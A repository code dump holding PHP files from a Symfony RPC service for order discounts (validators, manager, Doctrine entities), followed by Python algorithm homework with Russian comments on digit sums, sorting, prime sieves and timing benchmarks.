$this->container->get('doctrine.orm.entity_manager'); $qb = $em->createQueryBuilder(); $qb->delete('AppBundle:Discount', 'discount'); $qb->where('discount.id = :id'); $qb->setParameter('id', $this->id); return (boolean)$qb->getQuery()->getOneOrNullResult(); } }<file_sep>/src/AppBundle/Method/Order/GetDiscountMethod.php <?php namespace AppBundle\Method\Order; use AppBundle\Entity\Order; use AppBundle\Method\AbstractMethod; use Timiki\Bundle\RpcServerBundle\Mapping as RPC; use Symfony\Component\Validator\Constraints as Assert; /** * @RPC\Method("order.getDiscount") */ class GetDiscountMethod extends AbstractMethod { /** * @Rpc\Param() * @Assert\NotBlank() */ protected $fio; /** * @Rpc\Param() * @Assert\Date() */ protected $birthday = null; /** * @Rpc\Param() * @Assert\Type("integer") */ protected $phone = null; /** * @Rpc\Param() * @Assert\Choice({"f", "m", null}) */ protected $gender = null; /** * @Rpc\Param() * @Assert\Collection() */ protected $services = []; /** * @Rpc\Execute() */ public function execute() { $discountManager = $this->container->get('discount.manager'); $order = new Order(); $order->setFio($this->fio); $order->setPhone($this->phone); $order->setGender($this->gender); if (!empty($this->birthday)) { $order->setBirthday( \DateTime::createFromFormat('Y-m-d', $this->birthday) ); } foreach ($this->getServices($this->services) as $service) { $order->addService($service); } if ($discount = $discountManager->findFirstDiscountForOrder($order)) { return $discount->getDiscount(); } return 0; } }<file_sep>/src/AppBundle/Services/Discount/Validators/ServicesValidator.php <?php namespace AppBundle\Services\Discount\Validators; use AppBundle\Services\Discount\DiscountInterface; use AppBundle\Services\Discount\OrderInterface; use AppBundle\Services\Discount\ValidatorInterface; class ServicesValidator implements ValidatorInterface { /** * Check is discount can be apply for order. * * @param DiscountInterface $discount * @param OrderInterface $order * @return boolean */ public function isValid(DiscountInterface $discount, OrderInterface $order) { if (count($discount->getServices()) === 0) { return false; } $orderServicesIds = []; $inServices = []; foreach ($order->getServices() as $service) { $orderServicesIds[] = $service->getId(); } foreach ($discount->getServices() as $service) { $inServices[] = in_array($service->getId(), $orderServicesIds); } return !in_array(false, $inServices); } /** * Check is discount can be validate by validator. * * @param DiscountInterface $discount * @return boolean */ public function isAccept(DiscountInterface $discount) { return count($discount->getServices()) > 0; } } <file_sep>/src/AppBundle/Method/Services/GetMethod.php <?php namespace AppBundle\Method\Services; use AppBundle\Method\AbstractMethod; use Timiki\Bundle\RpcServerBundle\Mapping as RPC; /** * @RPC\Method("services.get") */ class GetMethod extends AbstractMethod { /** * @Rpc\Execute() */ public function execute() { $em = $this->container->get('doctrine.orm.entity_manager'); return $this->serialize( $em->getRepository('AppBundle:Service')->findAll() ); } }<file_sep>/src/AppBundle/Services/Discount/ServiceInterface.php <?php namespace AppBundle\Services\Discount; interface ServiceInterface { /** * Get service id. * * @return mixed */ public function getId(); } <file_sep>/src/AppBundle/Services/Discount/ValidatorInterface.php <?php namespace AppBundle\Services\Discount; interface ValidatorInterface { /** * Check is discount can be apply for order. * * @param DiscountInterface $discount * @param OrderInterface $order * @return boolean */ public function isValid(DiscountInterface $discount, OrderInterface $order); /** * Check is discount can be validate by validator. * * @param DiscountInterface $discount * @return boolean */ public function isAccept(DiscountInterface $discount); } <file_sep>/src/AppBundle/Method/Services/CreateMethod.php <?php namespace AppBundle\Method\Services; use AppBundle\Entity\Service; use AppBundle\Method\AbstractMethod; use Timiki\Bundle\RpcServerBundle\Mapping as RPC; use Symfony\Component\Validator\Constraints as Assert; /** * @RPC\Method("services.create") */ class CreateMethod extends AbstractMethod { /** * @Rpc\Param() * @Assert\NotBlank() */ protected $name; /** * @Rpc\Execute() */ public function execute() { $em = $this->container->get('doctrine.orm.entity_manager'); $service = new Service(); $service->setName($this->name); $em->persist($service); $em->flush($service); return $this->serialize($service); } }<file_sep>/src/AppBundle/Services/Discount/Validators/BirthdayValidator.php <?php namespace AppBundle\Services\Discount\Validators; use AppBundle\Services\Discount\DiscountInterface; use AppBundle\Services\Discount\OrderInterface; use AppBundle\Services\Discount\ValidatorInterface; class BirthdayValidator implements ValidatorInterface { /** * Check is discount can be apply for order. * * @param DiscountInterface $discount * @param OrderInterface $order * @return boolean */ public function isValid(DiscountInterface $discount, OrderInterface $order) { $birthday = $order->getBirthday(); $birthdayWeek = $discount->getBirthdayWeek(); if (empty($birthday) || empty($birthdayWeek)) { return false; } $date = new \DateTime(); $birthday->setDate($date->format('Y'), $birthday->format('m'), $birthday->format('d')); $isValid = false; switch ($birthdayWeek) { case 'before': // If birthday in interval current - 7 day ago; $date->sub(new \DateInterval('P7D')); $diff = $date->diff($birthday); $isValid = ($diff->days <= 7 && !$diff->invert); break; case 'after': // If birthday in interval current + 7 day ago; $birthday->sub(new \DateInterval('P7D')); $diff = $date->diff($birthday); $isValid = ($diff->days <= 7 && $diff->invert); break; case 'both': // If birthday in interval current + or - 7 day ago; $dateBefore = clone $date; $birthdayBefore = clone $birthday; $dateAfter = clone $date; $birthdayAfter = clone $birthday; $dateBefore->sub(new \DateInterval('P7D')); $birthdayAfter->sub(new \DateInterval('P7D')); $diffBefore = $dateBefore->diff($birthdayBefore); $diffAfter = $dateAfter->diff($birthdayAfter); $isValid = (($diffBefore->days <= 7 && !$diffBefore->invert) || ($diffAfter->days <= 7 && $diffAfter->invert)); break; } return $isValid; } /** * Check is discount can be validate by validator. * * @param DiscountInterface $discount * @return boolean */ public function isAccept(DiscountInterface $discount) { return !empty($discount->getBirthdayWeek()); } } <file_sep>/src/AppBundle/Services/Discount/Manager.php <?php namespace AppBundle\Services\Discount; use Doctrine\ORM\EntityManager; use Doctrine\ORM\Mapping as ORM; use JMS\Serializer\Annotation as Serializer; use AppBundle\Services\Discount\Validators; class Manager { /** * Array of discount validation. * * @var ValidatorInterface[] */ private $validators = []; /** * Entity manager. * * @var EntityManager */ private $em; /** * Manager constructor. * * @param EntityManager $em */ public function __construct(EntityManager $em) { $this->em = $em; // Set default validators; $this->validators = [ new Validators\BirthdayValidator(), new Validators\GenderValidator(), new Validators\IsPhoneMatchValidator(), new Validators\IsPhoneRequiredValidator(), new Validators\ServicesValidator(), ]; } /** * @return EntityManager */ public function getEntityManager() { return $this->em; } /** * Check is discount can be apply for order. * * @param DiscountInterface $discount * @param OrderInterface $order * @return boolean */ public function isValid(DiscountInterface $discount, OrderInterface $order) { $validResult = []; foreach ($this->validators as $validator) { if ($validator->isAccept($discount)) { $validResult[] = $validator->isValid($discount, $order); } } return !in_array(false, $validResult); } /** * Find first discount for order. * * @param OrderInterface $order * @return DiscountInterface|null */ public function findFirstDiscountForOrder(OrderInterface $order) { foreach ($this->getActiveDiscounts() as $discount) { if ($this->isValid($discount, $order)) { return $discount; } } return null; } /** * Get array active discount. * * @return DiscountInterface[] */ public function getActiveDiscounts() { $qb = $this->getEntityManager()->getRepository('AppBundle:Discount')->createQueryBuilder('discount'); $qb->andWhere('discount.activatedAt <= :date'); $qb->andWhere( $qb->expr()->orX( $qb->expr()->andX('discount.activatedTo >= :date'), $qb->expr()->andX('discount.activatedTo IS NULL') ) ); $qb->leftJoin('discount.services', 'services'); $qb->addSelect('services'); $qb->addOrderBy('discount.discount', 'DESC'); $qb->addOrderBy('discount.id'); $qb->setParameter('date', (new \DateTime())->format('Y-m-d')); return $qb->getQuery()->execute(); } } <file_sep>/src/AppBundle/Entity/Discount.php <?php namespace AppBundle\Entity; use AppBundle\Services\Discount\DiscountInterface; use Doctrine\ORM\Mapping as ORM; use JMS\Serializer\Annotation as Serializer; /** * @ORM\Entity() * @ORM\Table(name="Discount") */ class Discount implements DiscountInterface { /** * @var integer * * @ORM\Id() * @ORM\Column(type="bigint") * @ORM\GeneratedValue(strategy="AUTO") * @Serializer\Groups({ * "details", * "list", * }) */ protected $id; /** * @var integer * * @ORM\Column(type="string") * @Serializer\Groups({ * "details", * "list", * }) */ protected $name; /** * @var string * * @ORM\Column(name="birthdayWeek", type="string", length=6, nullable=true) * @Serializer\Groups({ * "details", * "list", * }) * @Serializer\SerializedName("birthdayWeek") */ protected $birthdayWeek; /** * @var string * * @ORM\Column(name="isPhoneRequired", type="boolean", nullable=true) * @Serializer\Groups({ * "details", * "list", * }) * @Serializer\SerializedName("isPhoneRequired") */ protected $isPhoneRequired; /** * @var string * * @ORM\Column(name="phoneEnding", type="integer", length=4, nullable=true) * @Serializer\Groups({ * "details", * "list", * }) * @Serializer\SerializedName("phoneEnding") */ protected $phoneEnding; /** * @var string * * @ORM\Column(type="string", length=1, nullable=true) * @Serializer\Groups({ * "details", * "list", * }) */ protected $gender; /** * @var integer * * @ORM\Column(type="integer", length=3) * @Serializer\Groups({ * "details", * "list", * }) */ protected $discount = 0; /** * @var \DateTime * * @ORM\Column(name="activatedAt", type="date") * @Serializer\Groups({ * "details", * "list", * }) * @Serializer\SerializedName("activatedAt") * @Serializer\Type("DateTime<'Y-m-d'>") */ protected $activatedAt; /** * @var \DateTime * * @ORM\Column(name="activatedTo", type="date", nullable=true) * @Serializer\Groups({ * "details", * "list", * }) * @Serializer\SerializedName("activatedTo") * @Serializer\Type("DateTime<'Y-m-d'>") */ protected $activatedTo; /** * @ORM\ManyToMany(targetEntity="AppBundle\Entity\Service", inversedBy="discounts") * @ORM\JoinTable( * name="DiscountServices", * joinColumns={ * @ORM\JoinColumn(name="discountId", referencedColumnName="id", onDelete="CASCADE") * }, * inverseJoinColumns={ * @ORM\JoinColumn(name="serviceId", referencedColumnName="id", onDelete="CASCADE") * } * ) * @Serializer\Groups({ * "details", * "list", * }) */ protected $services; /** * @ORM\OneToMany(targetEntity="AppBundle\Entity\Order", mappedBy="discount") */ protected $orders; /** * Set gender * * @param string|null $gender * @return Discount * @throws \Exception */ public function setGender($gender) { $gender = strtolower($gender); if (!in_array($gender, ['f', 'm', null])) { throw new \Exception('$gender must be f, m or null'); } $this->gender = $gender; return $this; } /** * Get gender * * @return string */ public function getGender() { return strtolower($this->gender); } /** * Set birthdayWeek * * @param string|null $birthdayWeek * @return Discount * @throws \Exception */ public function setBirthdayWeek($birthdayWeek) { $birthdayWeek = strtolower($birthdayWeek); if (!in_array($birthdayWeek, ['before', 'after', 'both', null])) { throw new \Exception('$birthdayWeek must be before, after, both or null'); } $this->birthdayWeek = $birthdayWeek; return $this; } /** * Get birthdayWeek * * @return string */ public function getBirthdayWeek() { return strtolower($this->birthdayWeek); } /** * Set discount * * @param integer $discount * @return Discount * @throws \Exception */ public function setDiscount($discount) { if (!is_numeric($discount)) { throw new \Exception('$discount must numeric'); } if ($discount < 0 || $discount > 100) { throw new \Exception('$discount must be >= 0 and <= 100'); } $this->discount = $discount; return $this; } /** * Get discount * * @return integer */ public function getDiscount() { return $this->discount; } /** * Is need phone for discount. * * @return boolean */ public function isPhoneRequired() { return $this->isPhoneRequired; } // /** * Constructor */ public function __construct() { $this->services = new \Doctrine\Common\Collections\ArrayCollection(); $this->orders = new \Doctrine\Common\Collections\ArrayCollection(); } /** * Get id * * @return integer */ public function getId() { return $this->id; } /** * Set name * * @param string $name * * @return Discount */ public function setName($name) { $this->name = $name; return $this; } /** * Get name * * @return string */ public function getName() { return $this->name; } /** * Set isPhoneRequired * * @param boolean $isPhoneRequired * * @return Discount */ public function setIsPhoneRequired($isPhoneRequired) { $this->isPhoneRequired = $isPhoneRequired; return $this; } /** * Get isPhoneRequired * * @return boolean */ public function getIsPhoneRequired() { return $this->isPhoneRequired; } /** * Set phoneEnding * * @param integer $phoneEnding * * @return Discount */ public function setPhoneEnding($phoneEnding) { $this->phoneEnding = $phoneEnding; return $this; } /** * Get phoneEnding * * @return integer */ public function getPhoneEnding() { return $this->phoneEnding; } /** * Set activatedAt * * @param \DateTime $activatedAt * * @return Discount */ public function setActivatedAt($activatedAt) { $this->activatedAt = $activatedAt; return $this; } /** * Get activatedAt * * @return \DateTime */ public function getActivatedAt() { return $this->activatedAt; } /** * Set activatedTo * * @param \DateTime $activatedTo * * @return Discount */ public function setActivatedTo($activatedTo) { $this->activatedTo = $activatedTo; return $this; } /** * Get activatedTo * * @return \DateTime */ public function getActivatedTo() { return $this->activatedTo; } /** * Add service * * @param \AppBundle\Entity\Service $service * * @return Discount */ public function addService(\AppBundle\Entity\Service $service) { $this->services[] = $service; return $this; } /** * Remove service * * @param \AppBundle\Entity\Service $service */ public function removeService(\AppBundle\Entity\Service $service) { $this->services->removeElement($service); } /** * Get services * * @return \Doctrine\Common\Collections\Collection */ public function getServices() { return $this->services; } /** * Add order * * @param \AppBundle\Entity\Order $order * * @return Discount */ public function addOrder(\AppBundle\Entity\Order $order) { $this->orders[] = $order; return $this; } /** * Remove order * * @param \AppBundle\Entity\Order $order */ public function removeOrder(\AppBundle\Entity\Order $order) { $this->orders->removeElement($order); } /** * Get orders * * @return \Doctrine\Common\Collections\Collection */ public function getOrders() { return $this->orders; } } <file_sep>/src/AppBundle/Entity/Order.php <?php namespace AppBundle\Entity; use AppBundle\Services\Discount\OrderInterface; use Doctrine\ORM\Mapping as ORM; use JMS\Serializer\Annotation as Serializer; /** * @ORM\Entity() * @ORM\Table(name="Order") */ class Order implements OrderInterface { /** * @var integer * * @ORM\Id() * @ORM\Column(type="bigint") * @ORM\GeneratedValue(strategy="AUTO") * @Serializer\Groups({ * "details", * "list", * }) */ protected $id; /** * @var string * * @ORM\Column(type="string") * @Serializer\Groups({ * "details", * "list", * }) */ protected $fio; /** * @var \DateTime * * @ORM\Column(type="date", nullable=true) * @Serializer\Groups({ * "details", * "list", * }) */ protected $birthday; /** * @var integer * * @ORM\Column(type="integer", nullable=true) * @Serializer\Groups({ * "details", * "list", * }) */ protected $phone; /** * @var string * * @ORM\Column(type="string", length=1, nullable=true) * @Serializer\Groups({ * "details", * "list", * }) */ protected $gender; /** * @ORM\ManyToOne(targetEntity="AppBundle\Entity\Discount", inversedBy="orders") * @ORM\JoinColumn(name="discountId", nullable=true, referencedColumnName="id") * @Serializer\Groups({ * "details", * "list", * }) */ protected $discount; /** * @ORM\ManyToMany(targetEntity="AppBundle\Entity\Service", inversedBy="orders") * @ORM\JoinTable( * name="OrderServices", * joinColumns={ * @ORM\JoinColumn(name="orderId", referencedColumnName="id", onDelete="CASCADE") * }, * inverseJoinColumns={ * @ORM\JoinColumn(name="serviceId", referencedColumnName="id", onDelete="CASCADE") * } * ) * @Serializer\Groups({ * "details", * "list", * }) */ protected $services; /** * Set gender * * @param string|null $gender * @return Order * @throws \Exception */ public function setGender($gender) { $gender = strtolower($gender); if (!in_array($gender, ['f', 'm', null])) { throw new \Exception('$gender must be f, m or null'); } $this->gender = $gender; return $this; } /** * Get gender * * @return string */ public function getGender() { return strtolower($this->gender); } // /** * Constructor */ public function __construct() { $this->services = new \Doctrine\Common\Collections\ArrayCollection(); } /** * Get id * * @return integer */ public function getId() { return $this->id; } /** * Set fio * * @param string $fio * * @return Order */ public function setFio($fio) { $this->fio = $fio; return $this; } /** * Get fio * * @return string */ public function getFio() { return $this->fio; } /** * Set birthday * * @param \DateTime $birthday * * @return Order */ public function setBirthday($birthday) { $this->birthday = $birthday; return $this; } /** * Get birthday * * @return \DateTime */ public function getBirthday() { return $this->birthday; } /** * Set phone * * @param integer $phone * * @return Order */ public function setPhone($phone) { $this->phone = $phone; return $this; } /** * Get phone * * @return integer */ public function getPhone() { return $this->phone; } /** * Set discount * * @param \AppBundle\Entity\Discount $discount * * @return Order */ public function setDiscount(\AppBundle\Entity\Discount $discount = null) { $this->discount = $discount; return $this; } /** * Get discount * * @return \AppBundle\Entity\Discount */ public function getDiscount() { return $this->discount; } /** * Add service * * @param \AppBundle\Entity\Service $service * * @return Order */ public function addService(\AppBundle\Entity\Service $service) { $this->services[] = $service; return $this; } /** * Remove service * * @param \AppBundle\Entity\Service $service */ public function removeService(\AppBundle\Entity\Service $service) { $this->services->removeElement($service); } /** * Get services * * @return \Doctrine\Common\Collections\Collection */ public function getServices() { return $this->services; } }
65a45cb0e6191a1e049af4d21504f57a7b9a5d7e
[ "Markdown", "JavaScript", "PHP" ]
23
PHP
netesin/test-services
5aaf5074fe41bd9c8016962feb22f1cdf1ada81c
ebc13005aeeac03e7514df55b20202215c674460
refs/heads/master
<repo_name>MaximTretjakov/algorithms<file_sep>/lesson-3/task-1.py """ 1. Определить, какое число в массиве встречается чаще всего. """ import random SIZE = 10 MIN_ITEM = 0 MAX_ITEM = 100 array = [random.randint(MIN_ITEM, MAX_ITEM) for _ in range(SIZE)] print(array) num = 0 max_ = 1 # берем первый элемент for i in range(SIZE - 1): hit = 1 # берем элементы после первого for j in range(i + 1, SIZE): # сравниваем первый со вторым и тд... и если есть совпадения уввеличиваем счетчик hit if array[i] == array[j]: hit += 1 # если в hit > max то есть повторения. Сохраняем счетчик в max_ и сохраняем текущий элемент массива if hit > max_: max_ = hit num = array[i] print(f'число {num} встречается {max_} раза...' if max_ > 1 else 'массив уникален') <file_sep>/lesson-2/task-2.py """ Ссылка на блок-схемы: https://drive.google.com/file/d/1GTGo-20iB7krcEjQWnVV_7rLL1q6p8RB/view?usp=sharing 2. Посчитать четные и нечетные цифры введенного натурального числа. Например, если введено число 34560, в нем 3 четные цифры (4, 6 и 0) и 2 нечетные (3 и 5). """ data = int(input('Введите натуральное, целое число')) even = odd = 0 while data > 0: if data % 2 == 0: even += 1 else: odd += 1 data = data // 10 # отбрасываем единицу чтобы определить следующую цифру на четность\нечетность print(f'чет --> {even}, нечет --> {odd}') <file_sep>/lesson-7/task-2.py """ Отсортируйте по возрастанию методом слияния одномерный вещественный массив, заданный случайными числами на промежутке [0; 50). Выведите на экран исходный и отсортированный массивы. """ import random def merge(left, right): sorted_ = [] i, j = 0, 0 while i < len(left) and j < len(right): if left[i] < right[j]: sorted_.append(left[i]) i += 1 else: sorted_.append(right[j]) j += 1 sorted_ += left[i:] sorted_ += right[j:] return sorted_ def merge_sort(arr): if len(arr) == 1: return arr middle = len(arr) // 2 left = merge_sort(arr[:middle]) right = merge_sort(arr[middle:]) # print(f'left {left} right {right}') return merge(left, right) if __name__ == '__main__': SIZE = 10 PRECISION = 2 spam = [0] * SIZE array = [round(random.uniform(0, 49), PRECISION) for _ in range(SIZE)] print(f'Исходный массив = {array}') print(f'Отсортированный = {merge_sort(array)}') <file_sep>/lesson-7/task-3.py """ Массив размером 2m + 1, где m — натуральное число, заполнен случайным образом. Найдите в массиве медиану. Медианой называется элемент ряда, делящий его на две равные части: в одной находятся элементы, которые не меньше медианы, в другой — не больше медианы. Примечание: задачу можно решить без сортировки исходного массива. Но если это слишком сложно, используйте метод сортировки, который не рассматривался на уроках (сортировка слиянием также недопустима). """ <file_sep>/lesson-4/task-1.py """ 1. Проанализировать скорость и сложность одного любого алгоритма из разработанных в рамках домашнего задания первых трех уроков. Примечание. Идеальным решением будет: ● выбрать хорошую задачу, которую имеет смысл оценивать, ● написать 3 варианта кода (один у вас уже есть), ● проанализировать 3 варианта и выбрать оптимальный, ● результаты анализа вставить в виде комментариев в файл с кодом (не забудьте указать, для каких N вы проводили замеры), ● написать общий вывод: какой из трёх вариантов лучше и почему. """ import timeit import cProfile import random # вариант из ДЗ. def get_even_ind(size): min_item = 0 max_item = 1000000 array = [random.randint(min_item, max_item) for _ in range(size)] res = [] for i in range(size): if array[i] % 2 == 0: res.append(i) return res print(timeit.timeit('get_even_ind(300000)', number=100, globals=globals())) # 27.362353289999874 print(timeit.timeit('get_even_ind(600000)', number=100, globals=globals())) # 53.23987481899985 print(timeit.timeit('get_even_ind(900000)', number=100, globals=globals())) # 80.16283023200003 print(timeit.timeit('get_even_ind(1200000)', number=100, globals=globals())) # 106.27893516999984 print(timeit.timeit('get_even_ind(1500000)', number=100, globals=globals())) # 133.39984958800005 print('\n') # вариант 1. Этот варинат мне нравится больше потому что он работает побыстрее и компактнее. def get_even_ind1(size): min_item = 0 max_item = 1000000 array = [random.randint(min_item, max_item) for _ in range(size)] return [i for i in range(size) if array[i] % 2 == 0] print(timeit.timeit('get_even_ind1(300000)', number=100, globals=globals())) # 26.410614169999917 print(timeit.timeit('get_even_ind1(600000)', number=100, globals=globals())) # 52.881418177999876 print(timeit.timeit('get_even_ind1(900000)', number=100, globals=globals())) # 79.20067433900022 print(timeit.timeit('get_even_ind1(1200000)', number=100, globals=globals())) # 105.728113699 print(timeit.timeit('get_even_ind1(1500000)', number=100, globals=globals())) # 132.66937920700002 print('\n') # вариант 2. Тут я намеренно сделал лишних телодвижений чтобы было похуже. def get_even_ind2(size): i = min_item = 0 max_item = 1000000 array = [random.randint(min_item, max_item) for _ in range(size)] res = [] for i in range(size): if array[i] % 2 == 0: res.append(i) return map(lambda x: res.append(i), [i for i in range(size) if i % 2 == 0]) print(timeit.timeit('get_even_ind2(300000)', number=100, globals=globals())) # 28.444977222000034 print(timeit.timeit('get_even_ind2(600000)', number=100, globals=globals())) # 56.77653339200015 print(timeit.timeit('get_even_ind2(900000)', number=100, globals=globals())) # 85.27984558400021 print(timeit.timeit('get_even_ind2(1200000)', number=100, globals=globals())) # 114.1955059220004 print(timeit.timeit('get_even_ind2(1500000)', number=100, globals=globals())) # 142.52530624600013 print('\n') def main(): get_even_ind(100000) cProfile.run('main()') # ncalls tottime percall cumtime percall filename:lineno(function) # 1 0.000 0.000 0.142 0.142 <string>:1(<module>) # 100000 0.044 0.000 0.092 0.000 random.py:174(randrange) # 100000 0.020 0.000 0.113 0.000 random.py:218(randint) # 100000 0.034 0.000 0.048 0.000 random.py:224(_randbelow) # 1 0.010 0.010 0.141 0.141 task-1.py:17(get_even_ind) # 1 0.017 0.017 0.130 0.130 task-1.py:20(<listcomp>) # 1 0.001 0.001 0.142 0.142 task-1.py:74(main) # 1 0.000 0.000 0.142 0.142 {built-in method builtins.exec} # 50138 0.002 0.000 0.002 0.000 {method 'append' of 'list' objects} # 100000 0.004 0.000 0.004 0.000 {method 'bit_length' of 'int' objects} # 1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects} # 104807 0.010 0.000 0.010 0.000 {method 'getrandbits' of '_random.Random' objects} # Вывод: # Из всех вариантов решения мне понравился вариант get_even_ind1. # Он быстрее и компактнее при одинаковом количестве запусков и N. # Имеет линейную асимптотику О(n). <file_sep>/lesson-1/task-2.py """ блок-схема: https://drive.google.com/file/d/1fum955_eKLcDlSPouna657uZxIfMnv14/view?usp=sharing 2. Вводятся три разных числа. Найти, какое из них является средним (больше одного, но меньше другого). """ print('Введите три положительных числа.') x = int(input('---> ')) y = int(input('---> ')) z = int(input('---> ')) if y < x < z or z < x < y: print(f'Средний результат: {x}') elif x < y < z or z < y < x: print(f'Средний результат: {y}') else: print(f'Средний результат: {z}') <file_sep>/lesson-1/task-1.py """ блок-схема: https://drive.google.com/file/d/1fum955_eKLcDlSPouna657uZxIfMnv14/view?usp=sharing 1. Найти сумму и произведение цифр трехзначного числа, которое вводит пользователь. """ print('Введите трехзначное целое, положительное число.') n = int(input('---> ')) d1 = n % 10 d2 = n % 100 // 10 d3 = n // 100 r1 = d1 + d2 + d3 r2 = d1 * d2 * d3 print(f'Сумма цифр числа: {r1}') print(f'Произведение цифр числа: {r2}') <file_sep>/lesson-4/task-2.py """ 2. Написать два алгоритма нахождения i-го по счёту простого числа. Функция нахождения простого числа должна принимать на вход натуральное и возвращать соответствующее простое число. Проанализировать скорость и сложность алгоритмов. Первый — с помощью алгоритма «<NAME>». Примечание. Алгоритм «<NAME>» разбирался на одном из прошлых уроков. Используйте этот код и попробуйте его улучшить/оптимизировать под задачу. Второй — без использования «<NAME>». """ import timeit def sieve(n): if n == 1: n = 2 elif n == 0: return -1 # формирую решето как n * n этого хватит и не будет оверхеда. _sieve = [i for i in range(n * n)] _sieve[1] = 0 _res = [] for i in range(2, n * n): if _sieve[i] != 0: j = i * 2 # не нулевые элементы складываем в результирующий список _res.append(_sieve[i]) while j < n * n: _sieve[j] = 0 j += i if len(_res) == n: break # корректирууем индекс return _res[n - 1] print(timeit.timeit('sieve(300)', number=100, globals=globals())) # 1.9212271879987384 print(timeit.timeit('sieve(600)', number=100, globals=globals())) # 8.45483898600105 print(timeit.timeit('sieve(900)', number=100, globals=globals())) # 21.133728531000088 print(timeit.timeit('sieve(1200)', number=100, globals=globals())) # 42.38479882700085 print(timeit.timeit('sieve(1500)', number=100, globals=globals())) # 68.80187030600064 print('\n') def _prime(n): x = 2 # классический способ проверки числа на простоту взятие отстатка от деления while x * x <= n and n % x != 0: x += 1 # используем эту хитрожопую конструцию чтобы возвратить True\False return x * x > n def prime(n): if n == 1: n = 2 elif n == 0: return -1 _res = [] for i in range(2, n * n): # если True то складываем числа в список. if _prime(i): _res.append(i) if len(_res) == n: break return _res[n - 1] print(timeit.timeit('prime(3000)', number=100, globals=globals())) # 3.817974043000504 print(timeit.timeit('prime(6000)', number=100, globals=globals())) # 10.857019451999804 print(timeit.timeit('prime(9000)', number=100, globals=globals())) # 19.710060119001355 print(timeit.timeit('prime(12000)', number=100, globals=globals())) # 30.996826088998205 print(timeit.timeit('prime(15000)', number=100, globals=globals())) # 44.457021832000464 print('\n') # Вывод: # выражение генератор [i for i in range(n * n)] видимо О(n). # ниже идут 2 цткла О(n^2) и в итоге О(n^2) + О(n). # Видимо так, но я не уверен что правильно записал. # # Во второй функции по сути 2 цикла О(n^2). Первый основной, второй в _prime() # <file_sep>/lesson-1/task-4.py """ блок-схема: https://drive.google.com/file/d/1fum955_eKLcDlSPouna657uZxIfMnv14/view?usp=sharing 4. Пользователь вводит номер буквы в алфавите. Определить, какая это буква. Работает только с английскими маленькими буквами. 'a' - латинская имеет 97 ascii код + номер буквы - 1 index """ print('Введите номер буквы в алфавите.') sym = int(input('---> ')) sym = ord('a') + sym - 1 print(f'Это --> {chr(sym)}') <file_sep>/lesson-2/task-4.py """ Ссылка на блок-схемы: https://drive.google.com/file/d/1GTGo-20iB7krcEjQWnVV_7rLL1q6p8RB/view?usp=sharing 4. Среди натуральных чисел, которые были введены, найти наибольшее по сумме цифр. Вывести на экран это число и сумму его цифр. """ def get_sum(dec): s = 0 while dec > 0: s += dec % 10 dec = dec // 10 return s print('Введите натуральное, целое число') max_sum = tmp = 0 while True: num = int(input('--> ')) if num == 0: print(f'Выход из программы | число {tmp} | сумма {max_sum} |') break tmp = num summa = get_sum(num) if summa > max_sum: max_sum = summa <file_sep>/lesson-5/task-2.py """ 2. Написать программу сложения и умножения двух шестнадцатеричных чисел. При этом каждое число представляется как коллекция, элементы которой — цифры числа. Например, пользователь ввёл A2 и C4F. Нужно сохранить их как [‘A’, ‘2’] и [‘C’, ‘4’, ‘F’] соответственно. Сумма чисел из примера: [‘C’, ‘F’, ‘1’], произведение - [‘7’, ‘C’, ‘9’, ‘F’, ‘E’]. Примечание: Если воспользоваться функциями hex() и/или int() для преобразования систем счисления, задача решается в несколько строк. Для прокачки алгоритмического мышления такой вариант не подходит. Поэтому использование встроенных функций для перевода из одной системы счисления в другую в данной задаче под запретом. Вспомните начальную школу и попробуйте написать сложение и умножение в столбик. Правила поразрядного сложения, для шестнадцатеричной системы счисления. "B" 0 1 2 3 4 5 6 7 8 9 a b c d e f "A" 0 0 1 2 3 4 5 6 7 8 9 a b c d e f 1 1 2 3 4 5 6 7 8 9 a b c d e f 10 2 2 3 4 5 6 7 8 9 a b c d e f 10 11 3 3 4 5 6 7 8 9 a b c d e f 10 11 12 4 4 5 6 7 8 9 a b c d e f 10 11 12 13 5 5 6 7 8 9 a b c d e f 10 11 12 13 14 6 6 7 8 9 a b c d e f 10 11 12 13 14 15 7 7 8 9 a b c d e f 10 11 12 13 14 15 16 8 8 9 a b c d e f 10 11 12 13 14 15 16 17 9 9 a b c d e f 10 11 12 13 14 15 16 17 18 a a b c d e f 10 11 12 13 14 15 16 17 18 19 b b c d e f 10 11 12 13 14 15 16 17 18 19 1a c c d e f 10 11 12 13 14 15 16 17 18 19 1a 1b d d e f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c e e f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d f f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e код не может: 1. складывать числа разной длины код может: 1. складывать числа одинаковой длины. 2. складывать числа последний разряд которых вида 1-6 У меня было 2 варианта решения: 1. С таблицей. 2. Еще была идея вычислять для разряда числа например 4 список с ответами. если у нас в rule_tab['4'].append(['4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', '1-0', '1-1', '1-2', '1-3']) 1 индекс = 4 то в конец вставляем 3 числа вида '1-0', '1-1', '1-2', '1-3', если 5 то 4 числа и тд. Так было бы компактнее и возможно производительнее смотря с какой струторой данных работать. А так пришлось вкорячить таблицу. Я честно пытался но увы... """ import collections rule_tab = collections.defaultdict(list) rule_tab['0'].append(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']) rule_tab['1'].append(['1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', '1-0']) rule_tab['2'].append(['2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', '1-0', '1-1']) rule_tab['3'].append(['3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', '1-0', '1-1', '1-2']) rule_tab['4'].append(['4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', '1-0', '1-1', '1-2', '1-3']) rule_tab['5'].append(['5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', '1-0', '1-1', '1-2', '1-3', '1-4']) rule_tab['6'].append(['6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', '1-0', '1-1', '1-2', '1-3', '1-4', '1-5']) rule_tab['7'].append(['7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', '1-0', '1-1', '1-2', '1-3', '1-4', '1-5', '1-6']) 